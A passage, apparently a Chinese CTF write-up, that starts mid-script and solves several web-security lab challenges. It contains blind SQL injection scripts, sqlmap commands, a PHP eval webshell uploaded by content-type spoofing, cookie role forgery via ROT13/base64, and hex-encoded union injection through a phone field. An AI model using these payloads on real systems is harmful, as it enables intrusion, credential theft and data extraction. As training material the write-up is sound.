dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(r)
if right in str(r):
print('the length of tables is %s' %i)
break
i += 1
得到表的長度為4

腳本跑出表名:
# coding=utf-8
# Data: 2021/8/20 11:13
# File : tabe.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
table = ''
for i in range(1,5):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
table += j
print(j)
break
print('the name of table is %s'%table)

得到表名為flag

腳本跑出字段長度:
# coding=utf-8
# Data: 2021/8/20 11:14
# File : columns_length.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name=0x666c6167 limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(r)
if right in str(r):
print('the length of columns is %s' %i)
break
i += 1
得到字段長度為4

腳本跑出字段名稱:
# coding=utf-8
# Data: 2021/8/20 11:14
# File : columns.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
column = ''
for i in range(1,5):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
column += j
print(j)
break
print('the name of column is %s'%column)

得到字段名稱為flag

腳本跑出字段內容長度:
# coding=utf-8
# Data: 2021/8/20 11:22
# File : data_length.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(flag) from flag limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
print('the length of data is %s' %i)
break
i += 1

數據長度為42

腳本跑出字段內容:
# coding=utf-8
# Data: 2021/8/20 11:24
# File : data.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
flag = ''
for i in range(1,43):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select flag from flag limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
flag += j
print(j)
break
print('the flag is %s'%flag)
得到flag:
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}

也可以將上面的每個腳本整合成一個腳本,跑出flag:
#coding:utf-8
import requests
import string

def boom():
url = r'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
s = requests.session()
#會話對象requests.Session能夠跨請求地保持某些參數,比如cookies,即在同一個Session實例發出的所有請求都保持同一個cookies,而requests模塊每次會自動處理cookies,這樣就很方便地處理登錄時的cookies問題。
dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
right = 'password error!'
error = 'username error!'
lens = 0
i = 0
#確定當前數據庫的長度
while True:
payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens=i
break
i+=1
pass
print("[+]length(database()): %d" %(lens))
#確定當前數據庫的名字
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]database():%s" %(strs))

lens=0
i = 1
while True:
payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
#對當前的數據庫,查詢第一個表的長度
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(table): %d" %(lens))

#查詢第一個表的名稱

strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
# 數字一定要str才可以傳入
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]table_name:%s" %(strs))
tablename = '0x' + strs.encode('hex')
#編碼為16進制
table_name = strs

lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(column): %d" %(lens))

strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]column_name:%s" %(strs))
column_name = strs

num=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
num = i
break
i+=1
pass
print("[+]number(column): %d" %(num))

lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(value): %d" %(lens))

i=1
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':'1'}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]flag:%s" %(strs))

if __name__ == '__main__':
boom()
print 'Finish!'

方法二:
通過sqlmap添加前綴的參數:–prefix="%1$’",以及注入點為username,跑出ueranme存在注入
這里data.txt數據為:
POST / HTTP/1.1
Host: 9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://9c4a7e6bb03140e49c97bf6bf83c4b1770ed55845df24dd4.changame.ichunqiu.com/
Cookie: __jsluid_h=f61e08c2eb093e133773dca6a57b7307
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close

username=admin&password=admin


python sqlmap.py -r data.txt --prefix="%1$\'" -p username

爆數據庫
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --dbs
爆表
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --tables -D "ctf"

爆字段
python sqlmap.py -r data.txt --prefix="%1$\'" -p username --columns -T "flag" -D "ctf" --dump

最終得到flag:
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}

題目名稱:Do you know upload?
題目內容:加油吧,少年
題目wirtup:
啟動題目場景,獲得靶場網站,訪問網站,發現頁面是一個文件上傳頁面。

對其頁面查看源碼,在注釋中通過file變量進行文件包含,於是想到php://input和php://filter/read=convert.base64-encode/resource=index.php
通過php:filter偽協議進行文件包含index.php得到其內容
得到base64內容:
PGh0bWw+DQo8aGVhZD48bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCjx0aXRsZT5VcGxvYWQ8L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxoMT7lm77niYfkuIrkvKA8L2gxPg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICA8bGFiZWwgZm9yPSJmaWxlIj5GaWxlbmFtZTo8L2xhYmVsPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9Ii91cGxvYWRzLyIgLz4NCiAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgaWQ9ImZpbGUiIC8+DQogICAgPGJyIC8+DQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiAvPg0KPC9mb3JtPg0KPCEtLSANCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KLS0+DQoNCjw/cGhwDQoNCmluY2x1ZGUoJF9HRVRbJ2ZpbGUnXSk7IA0KQCRwaWMgPSAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXTsNCkAkcGljcyA9IGV4cGxvZGUoJy4nICwgJHBpYyk7DQoNCmlmKEBpc3NldCgkX1BPU1Rbc3VibWl0XSkpew0KICAgIGlmICgoKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9naWYiKQ0KICAgICAgICAgICAgfHwgKCRfRklMRVNbImZpbGUiXVsidHlwZSJdID09ICJpbWFnZS9qcGVnIikNCiAgICAgICAgICAgIHx8ICgkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSA9PSAiaW1hZ2UvcGpwZWciKSkpew0KDQogICAgICAgIGlmICgkX0ZJTEVTWyJmaWxlIl1bImVycm9yIl0gPiAwKXsNCiAgICAgICAgICAgIGVjaG8gIlJldHVybiBDb2RlOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJlcnJvciJdIC4gIjxiciAvPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyAiVXBsb2FkOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgICAgICAgICAgIGVjaG8gIlR5cGU6ICIgLiAkX0ZJTEVTWyJmaWxlIl1bInR5cGUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgZWNobyAiU2l6ZTogIiAuICgkX0ZJTEVTWyJmaWxlIl1bInNpemUiXSAvIDEwMjQpIC4gIiBLYjxiciAvPiI7DQogICAgICAgICAgICAvL2VjaG8gIlRlbXAgZmlsZTogIiAuICRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSAuICI8YnIgLz4iOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCJ1cGxvYWQvIiAuICRfRklMRVNbImZpbGUiXVsibmFtZSJdKSl7DQogICAgICAgICAgICAgICAgZWNobyAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSAuICIgYWxyZWFkeSBleGlzdHMuICI7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdLA0KICAgICAgICAgICAgICAgICAgICAidXBsb2FkLyIgLiAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7DQogICAgICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiAiIC4gInVwbG9hZC8iIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgn5paH5Lu257G75Z6L5LiN5YWB6K64Jyk8L3NjcmlwdD4iOw0KICAgICAgICBlY2hvICJJbnZhbGlkIGZpbGUiOw0KICAgIH0NCn1lbHNlew0KICAgIC8vIGVjaG8gIkludmFsaWQgZmlsZSI7DQp9DQoNCj8+DQoNCjwvYm9keT4NCg0KPC9odG1sPg0K
base64解碼后主要代碼如下:
<?php

include($_GET['file']);
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "<script>alert('文件類型不允許')</script>";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}

?>
通過以上代碼分析發現文件上傳只是過濾了上傳文件的type,通過修改content-type為image/jpeg或者image/gif即可上傳 .

嘗試上傳一句話圖片木馬,test.jpg,內容為一句話:<?php eval($_POST['cmd']); ?>

通過buspuuti對其進行攔截,然后將test.jpg修改為test.php,發送請求,發現可以成功上傳一句話圖片后門文件,上傳的存儲路徑為:upload/bk.php

通過菜刀連接一句話,密碼為cmd

通過菜刀自帶的虛擬命令終端的find命令來查找flag,並沒有發現flag

find / -name "*flag*"

查看config.php的源碼,發現包含了數據庫的連接信息

得到:數據庫用戶名:ctf ,密碼:ctfctfctf,數據庫:ctf

下面通過菜刀自帶的數據庫管理功能連接數據庫,其數據庫配置連接信息如下:

<T>MYSQL</T>
<H>localhost</H>
<U>ctf</U>
<P>ctfctfctf</P>
<L>utf8</L>
通過查找到ctf數據庫中的flag表中flag字段,然后執行語句,即可得到flag

最終falg:
flag{0dc895ae-421e-47d8-83f9-a62f615d8509}

題目名稱:broken
題目內容:
you got a file, but ...  
題目writeup:
啟動題目場景,獲得靶場網站,訪問網站,網頁內容顯示,如果得到一個文件,其內容是已經被破壞了。
http://106.75.72.168:1111/
點擊file,可以發現這是一段jsfuck編碼。
jsfuck的起源:在滲透測試時,js代碼可能被關鍵詞檢測,於是作者考慮躲避關鍵詞檢測的想法,例如 eval等關鍵詞.
按照常見的套路復制粘貼到控制台執行,執行成功后,發現異常。
正常的jsfuck開頭為[] (![]+[]),而我們的開頭似乎少了一個]
我們補全后再次運行
顯示flag is not here,很明顯這是調用了函數顯示出的彈窗,於是我們刪除 最后代表function調用的()查看代碼,即可得到flag:
最終flag:
flag{f_f_l_u_a_c_g_k}

題目名稱:who are you?
題目內容:

http://106.75.72.168:2222/

我是誰,我在哪,我要做什么

題目writeup:
直接訪問,顯示權限不夠
X-Forwarded-For: 127.0.0.1
在burp中重發, 發現cookie中有一個名為role的數據(此時可以推斷此題有90%的可能性與此有關)

cookie:role=Zjo1OiJ0aHJmZyI7

將Zjo1OiJ0aHJmZyI7對其進行解密得到: f:5:"thrfg";
f:5:"thrfg";看起來像是Rot13加密
得到: s:5:"guest";
將guest改為admin,那么 s:5:"admin"; 進行Rot13加密后是: f:5:"nqzva";
http://www.mxcz.net/tools/rot13.aspx



最后base64是 :Zjo1OiJucXp2YSI7
得到:
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget
示要構造post方式上傳filename和data。(有很多工具可以使用,如Firefox的hackbar插件和burpsuit)利用burpsuit抓包並修改為POST上傳,添加 filename項和data項

filename=flag.php&data=<?php phpinfo();?>
頁面會報錯"No No No!", 因為網頁做了正則匹配過濾. 而用data[]=的方法,把data從字符串變成數組,可以繞過正則匹配的過濾。

用data[]=的方法,把data從字符串變成數組,導致繞過正則匹配。

上傳之后能夠發現它返回了文件的地址,訪問它就得到flag

發現回顯為no no no,想到data可能是用一個數組存取的內容,抱着試試的想法將data改為data[]其他內容不變(filename和data的值不重要)。回顯一個文件地址,將地址打開出現答案:flag{}
filename=flag.php&data=[]
得到:
./uploads/3de8e9b787288c751bf7b0291b028fbaflag.php
http://106.75.72.168:2222/uploads/3de8e9b787288c751bf7b0291b028fbaflag.php


<?php%20eval($_POST['cmd']);%20?>







得到:
./uploads/47013ce8d33835e50cd0f97565cb7172flag.php
http://106.75.72.168:2222/uploads/47013ce8d33835e50cd0f97565cb7172flag.php
最終得到flag:
flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}


題目名稱:phone number
題目內容:

http://106.75.72.168:3333

Phone number is a good thing.

題目writup:
訪問題目場景,發現是一個登陸頁面,並查看源碼無果。
http://106.75.72.168:3333/login.php
這里按照正常流程,先注冊一個賬號: 用戶名bks,密碼123456,手機號碼:131288353391
登錄系統,點擊check
返回了信息:
There only 2 people use the same phone as you


通過 f12元素審核查看源碼,發現注釋中顯示"聽說admin中的手機號碼藏着秘密,告訴我們flag 就在admin用戶的phone字段.

用戶注冊,嘗試用戶名和手機號碼都加單引號,提示手機號碼必須是數字
聯想到會不會服務端驗證phone 用了is_number
這里注冊一個用戶ss' ,密碼123456,手機號碼:hex(13128835391)為十六進制:0x3133313238383335333931

果然如此,點擊check,返回:db errror(sql錯誤)

應該是有注入的,結合上文中的注釋提示,應該是注入出admin的電話號碼即可得到flag,所以phone應該是利用點,要想辦法得到admin的phone。

但是phone處只能輸入數字,可以將sql語句轉化為16進制。
查詢字段回顯數:
注冊一個賬號ts , 密碼123456, 手機號碼:hex(13128835391  order by 1 #) 為十六進制:0x313331323838333533393120206F7264657220627920312023,並抓包發送請求包(手機號碼字段前段有長度限制,這里用抓包攔截發送請求繞過前端手機號碼長度限制)

登錄系統,點擊check,返回:

There only 1 people use the same phone as you


注冊一個賬號ts1 密碼123456, 手機號碼:hex(13128835391  order by 2 #)為十六進制:0x313331323838333533393120206F7264657220627920322023




登錄系統,點擊check.返回:db error!


說明字段只有一個字段位回顯


爆數據庫名:

注冊一個賬號ts2 密碼123456, 手機號碼:hex(13128835391  union select database()#)為十六進制:0x31333132383833353339312020756E696F6E2073656C656374206461746162617365282923


登錄系統,點擊check.返回:

There only 3 people use the same phone as you

There only webdb people use the same phone as you



得到數據庫名為:webdb


爆表名:

注冊一個賬號ts3 密碼123456, 手機號碼:hex(13128835391  union select group_concat(table_name) from information_schema.tables where table_schema='webdb'#)為十六進制:

0x31333132383833353339312020756E696F6E2073656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2777656264622723

登錄系統,點擊check.返回:

There only 4 people use the same phone as you
There only user people use the same phone as you

得到表名user



爆字段名:

注冊一個賬號ts5 密碼123456, 手機號碼:hex(13128835391 union select group_concat(column_name) from information_schema.columns where table_name='user'#)為十六進制:

0x313331323838333533393120756E696F6E2073656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D27757365722723


登錄系統,點擊check.返回

There only 6 people use the same phone as you
There only Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,
Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin people use the same phone as you

 


得到字段名,有用的字段為:User,Password,id,username,phone


爆字段內容

根據注釋中admin的電話藏着大秘密,我們查詢username為admin的電話

注冊一個賬號ts6 密碼123456, 手機號碼:hex(13128835391  union select phone from user where username='admin'#)為十六進制:

0x31333132383833353339312020756E696F6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653D2761646D696E2723


登錄系統,點擊check.返回

There only 7 people use the same phone as you
There only flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0} people use the same phone as you

最終,得到flag:
flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}












免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM